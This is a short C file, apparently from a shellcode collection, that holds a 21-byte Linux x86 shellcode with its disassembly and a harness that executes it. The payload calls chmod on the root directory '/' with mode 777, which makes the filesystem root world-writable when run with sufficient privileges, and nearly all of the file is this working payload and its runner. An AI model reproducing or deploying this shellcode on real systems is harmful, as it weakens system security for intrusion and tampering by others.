#include <stdio.h>
/*

21 bytes chmod / 777
--srm


08048054 <_start>:
 8048054:  31 c9                  xor    %ecx,%ecx
 8048056:  51                     push   %ecx
 8048057:  b1 ff                  mov    $0xff,%cl
 8048059:  b5 01                  mov    $0x1,%ch
 804805b:  6a 2f                  push   $0x2f
 804805d:  89 e3                  mov    %esp,%ebx
 804805f:  6a 0f                  push   $0xf
 8048061:  58                     pop    %eax
 8048062:  cd 80                  int    $0x80
 8048064:  6a 01                  push   $0x1
 8048066:  58                     pop    %eax
 8048067:  cd 80                  int    $0x80
*/

char code[] =
    "\x31\xc9\x51\xb1\xff\xb5\x01\x6a\x2f\x89"
    "\xe3\x6a\x0f\x58\xcd\x80\x6a\x01\x58\xcd\x80";
 
int main()
{
   void (*f)();


  f = (void *) code;
  
  printf("%d\n", strlen(code));

   f();

  return 0;
}